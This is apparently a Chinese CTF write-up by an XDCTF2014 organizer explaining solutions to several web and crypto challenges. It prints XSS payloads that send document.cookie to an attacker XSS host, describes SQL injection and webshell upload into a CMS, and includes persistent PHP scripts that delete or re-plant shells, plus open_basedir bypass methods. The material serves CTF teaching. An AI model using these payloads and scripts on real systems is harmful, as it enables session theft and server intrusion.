首先我代表我们XDCTF主办方对大家说声辛苦了,十一假期本该休息却依旧奋斗在CTF第一线。我是XDCTF2014的出题人之一,也是服务器的维护者之一,关于比赛不想说太多,有太多不可控制的因素。包括中途停电之类的事情,也备受吐槽。
这份writeup是几道web题目和一个加密解密的题目,我知识面比较窄,所以题目和writeup都不能面面俱到,有一些想法在心里却最后没能放出来,所以这里也就不提了。
WEB20
“
什么,小P说来点彩头?先出个简单的,就WEB20吧。
题目链接: WEB20
hint > 大家不知道复活节要玩什么吗?(非前端题,请勿关注html注释、css、javascript等)
”
WEB20是我很久以前就出好的一个题目,今年比赛特别多,不过一直没有被人家用上,所以就当个彩头送出来了,没想到还难倒了一批人。
考点是php彩蛋。只要运行PHP的服务器上,访问任何网页都可以在URL后添加以下字符串来查看信息:
?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 (PHP信息列表)
?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 (PHP的LOGO)
?=PHPE9568F35-D428-11d2-A769-00AA001ACF42 (Zend LOGO)
?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 (PHP LOGO 蓝色大象)
基本很多php网站都存在彩蛋,比如乌云:
所以我们可以通过在网站域名后面加“彩蛋”来判断一个网站是否是由php编写的。是否显示php彩蛋是通过php.ini中expose_php来控制的,设置为Off则不会显示了。
WEB200
“
自从小P告诉离休老干部le4f python怎么写网站以后,就一发不可收拾。
这是le4f的新作:http://y0pk678.xdctf.com:8081/
说明:本题flag形式为XDCTF{XXXX},填入XXXX内容即可。
”
这题是冷夜出的一道题,分给的高了,是我的错。
一个web.py写的简单web应用,访问首页发现一具话“u may need help information.”,于是访问http://y0pk678.xdctf.com:8081/help,查看源码发现一个超链接:
由超链接样子可以猜到是一个文件读取,访问之,发现应该是一个说明:
而且每次刷新出来的内容不一样。每次出来两行,可能是随机显示的。既然这里说了是newapp.py,那就把file=readme换成file=newapp.py看看:
很明显是一个python文件,但每次访问只显示两行。
于是自己写个简单的爬虫或用burpsuite将所有行读取出来,得到newapp.py的内容:
如图,关键代码已圈出。在xdctf函数中(通过前面的路由规则可知访问/getflag会转到xdctf函数),如果web.input()‘unabletoread’ == ‘le4f.net’,则读到一个什么文件,把内容通过header发给我。
于是就访问http://y0pk678.xdctf.com:8081/getflag?unabletoread=le4f.net 即可以在数据包中找到flag:
WEB250
一个存在XSS的留言板。
注册登录以后会有这样的提示:使用如下方式让留言更漂亮:
ahttp://超链接[/a]、[b]粗体[/b]、[pre]代码[/pre]、[i]斜体[/i]等,不允许引用图片。
随便fuzz测试一下发现很多特殊符号被过滤了,包括<、>、”、=、(、)等,但后面会把、转换成<、>,也就是说我们可以引入html标签。但问题是=没有了,<img src=1 onerror=xxx>用不了(没等号),javascript也各种用不了。
所以这里需要用到的知识是<svg>,在<svg>中的<script>代码可以用html实体代替。比如<svg><script>alert(1)</script>可以换成“<svg><script>&# 97;&# 108;&# 101;&# 114;&# 116;&# 40;&# 49;&# 41;</script>”,不过html实体的分号不能丢,这跟html属性中实体的分号可以省略不同。
所以这里输入svg&# 97;&# 108;&# 101;&# 114;&# 116;&# 40;&# 49;&# 41;/script即可弹窗(去掉&#和数字间的空格):
弹窗后有的同学就直接document.write(‘<script src=xxx></script>’)开始了,这样肯定是不行的,因为我加了个小小的坑,做了csp限制,当然不是让你绕过csp,因为我并没有限制内联脚本执行。
所以直接利用xss平台来加载远程js,执行代码是不现实了(csp里限制了加载外部资源),也不能通过常规的new Image().src来传递cookie了。
换个方式即可,
location.href=”http://xss.com/?cookie=”+escape(document.cookie),
或者
var a=document.createElement("a");a.href='http://xss.com/?cookie='+escape(document.cookie);a.click();
都可以。让页面跳转到你的xss平台并将cookie带在参数中即可。
这道XSS题还有另一个思路,注册的时候的用户名写成javascript代码,如“*/alert(1);/*”,然后发表两条留言,/script和script,这样就能拼接而成一个完整的payload。
CRACK180
“
ZZ发现土豪Ph在用SafeAccountSystem给Le4f打一笔退休金$23333,ZZ截断了支付过程的密文,打算捉弄一下他们把退休金打到自己账户Z2333上。
密文点此处下载: http://game1.xdctf.com:8081/Z4l2Lu7XkNBa/crypt.txt
支付系统的地址 game1.xdctf.com 端口,50008,请用nc连接(telnet不行)
本题考点加密与解密,可是没这个分类,真拙计。
本题flag形如xdctf{xxx},答案填入xxx即可。
”
下载劫持到的支付密文,可以看出混有培根密码,将其中的培根转换为正常字符,
595270AABAA5853AAAAB133AABAA07AAAABAAABBAAAAB5AAABB7AABAB827AAABB0AAABBAABAB6AAAAA910AAABBAABAA23289280801AABABAAAAAAABAAAABABAAABBAAABB4078AABAA56AABABAAAAB8AAABA2AAAAB5AAABA881AABAB2AAAAB7AABAB58AAAAA096AAAAA367AAAAA32AAAABAABAA33AAABB7248989AAABB6AAAAB2319AABAB091AABABAABAB4AAAAA12AABABAABAB2AAAAA4717AAABB4AAABA01AAAAB242927AAAABAABAA0643AABAB06AABABAAAABAABAA29AAAAB10AAAAAAABAA
解密后:
595270e5853b133e07bdb5d7f827d0df6a910de23289280801faefdd4078e56fb8c2b5c881f2b7f58a096a367a32be33d7248989d6b2319f091ff4a12ff2a4717d4c01b242927be0643f06fbe29b10ae
登陆题目系统,建立账户测试,比如建立账户Alice和Bob,然后选择支付模式1,支付数额100,然后系统提示余额不足,支付失败。
改变支付数额,比如改为200,其他信息不变,可以发现密文中只有一段密文变化,由此可猜测密文是分组加密,提取劫持到的密文中的这一部分。
继续改变收款人和支付人的姓名进行测试,可以确定收款人和支付人在密文中的位置。确定之后,改变支付方式,确定Ph使用的支付方式为第三种。并且发现One-time-password并不是一次性的。
最后确定密文格式如下
收款人+支付方式+One-Time-Password+支付人+支付数额
提取其中的OneTimePassword,为b8c2b5c881f2b7f58a096a367a32be33
根据系统流程,sender输入Ph,正确输入OneTimePassword,Receiver输入Z2333,支付方式选择3,数额为23333即可弹出flag xdctf{d4d5906bb2f30b3bbbc1d915e6ba0f7321}
WEB270
“
小P睡了一觉起来,发现黑客们都饥渴难耐,想日站想疯了。
小P默默地看了看自己的网站:http://ph.xdctf.com:8082/
感觉不知道放个什么程序比较好,而同服的另一个网站居然已经运营很久了:http://hlecgsp1.xdctf.com:8082/
真不知道该怎么办……
ps.
这是一个系列题目,分步骤给分。一共4个FLAG都在小P网站所在的服务器中。
请黑客们不要破坏网站文件、数据库。一旦发现有阻碍比赛正常进行的现象,将会恢复服务器到最初状态。
说明:4个flag都形如flag-xxxx
”
这题考点是cms渗透实战+open_basedir绕过。
一共四个flag,实际上除了第三个,都比较好拿。
首先来到phpok,http://wooyun.org/bugs/wooyun-2010-064360这里有一个现成的注入,构造一下获得管理员密码:
解密得到密码为198712,进入后台。在smtp密码处得到一个flag。
后台编辑风格处将模板后缀名改为php:
然后编辑模板,添加一个php文件,写入shell即可。
在网站根目录下文件中找到第二个flag。
关于GETSHELL这部分,有同学在比赛期间和我反应,说有人删shell,这是所有ctf里都无法避免的。下面是我曾经用过的一个猥琐脚本:
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = isset($_GET['file']) ? $_GET['file'] : 'test.txt';
while (TRUE) {
if (file_exists($file)) {
@unlink($file);
}
usleep(50);
}
?>
让代码进驻在内存中,循环删除某个文件。当然,同样也可以变成某个目录的所有文件。
既然无法避免,那么为何我们不能与选择与之抗衡呢?比如我们再来一个“防删脚本”:
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = __FILE__; // or xxx.php
$shell = isset($_GET['shell']) ? $_GET['shell'] : file_get_contents($file);
while (TRUE) {
if (!file_exists($file)) {
file_put_contents($file, $shell);
}
usleep(50);
}
?>
让代码进驻在内存中,循环判断。一旦发现自己的文件被删除了,就重新写入。
当然,后来我把unlink禁用了,不过其实是无法阻止删shell现象的,因为就算不能删除,也可以把文件覆盖掉,只要让你没法连接即可。而且,写文件的函数是没法禁用的,否则影响比赛的正常进行。
再者,有些同学拿到webshell了以后一看到服务器是linux并且版本很高(3.2),就无处下手了。假如没有其他人提示说去绕过open_basedir,最终又有多少人能做出这道题,因为我观察过,web270-3出来很久也没有人做出来,已经有人说坑了,但当第一个人做出来以后基本人数就是直线上升。我不恶意揣测存在交换key的现象,但一定存在做出来的人给没做出来的提示,或询问做题思路的现象。
第三、四个flag在同服的另一个网站中,但因为php设置了open_basedir,所以似乎无法跨目录读取文件什么的。
绕过open_basedir有几个思路:
1.mysql账户如果有file_priv权限,则可以通过mysql load_file来跨目录读文件。
2.利用一些php漏洞绕过open_basedir
3.Php如果能执行命令,则直接通过命令行访问open_basedir以外的目录即可。
4.提权
第3、4个在本题中不现实,因为能执行命令的函数都被禁用了。而我特地给mysql账户phpok给予了file_priv权限,所以可以通过mysql load_file读取/home/wwwroot/ph/config.php中的flag,得到第四个flag。
绕过open_basedir的CVE也有很多:
写文件:CVE-2012-1171(libxml)
CVE-2012-3365(SQLite)
读文件:CVE-2012-1171
列目录:http://ahack.ru/releases/glob_wrapper_open_basedir_exploit.php.txt
当然,之前parsec团队的/fd曾经在zone里发过一个利用脚本:http://zone.wooyun.org/content/11268 。这里可以直接上。
列出目录/home/wwwroot/ph/,目录下的一个flag-开头的文件名,即为第三个flag。
所以,不能盲目信任php的open_basedir,如果要配置好虚拟主机环境,可以参考我之前的一篇文章:https://cloud.tencent.com/developer/article/1717370
一些感想
这次比赛所有的nginx环境都是严格按照上文中方法搭建(当然不包括WEB270那个可被绕过的),杜绝了跨目录等影响,不同的题目放在不同虚拟主机下运行,互不干扰,保证了初赛环境的安全。
本次比赛交流思路的现象依旧存在,比如web2703,之前说了,题目出来以后很长时间内没有人提交flag,但当第一个人提交了flag以后人数很快就上去了。
当然我在很多群中也发现有讨论题目详情的现象,此为CTF常态,我就不多说了。
我个人很少参加ctf比赛,不像L团队中其他同学,所以出的题目如果有些不好的地方,也希望各位能够海涵。此次题目重点在逆向和溢出,也是历年XDCTF最后拿分的类别,也希望各位能更加关注这两类题目。
决赛的环境会比预赛丰富精彩,敬请期待。
当然,感谢西电的其他几位主办方同学,特别是rabit2013同学,出题+审题是最辛苦的。这些活本该是我和XDSEC一些成员一起做的,但因为诸多原因打了个小酱油,包括之前去ISC耽误了很多事情,深表抱歉!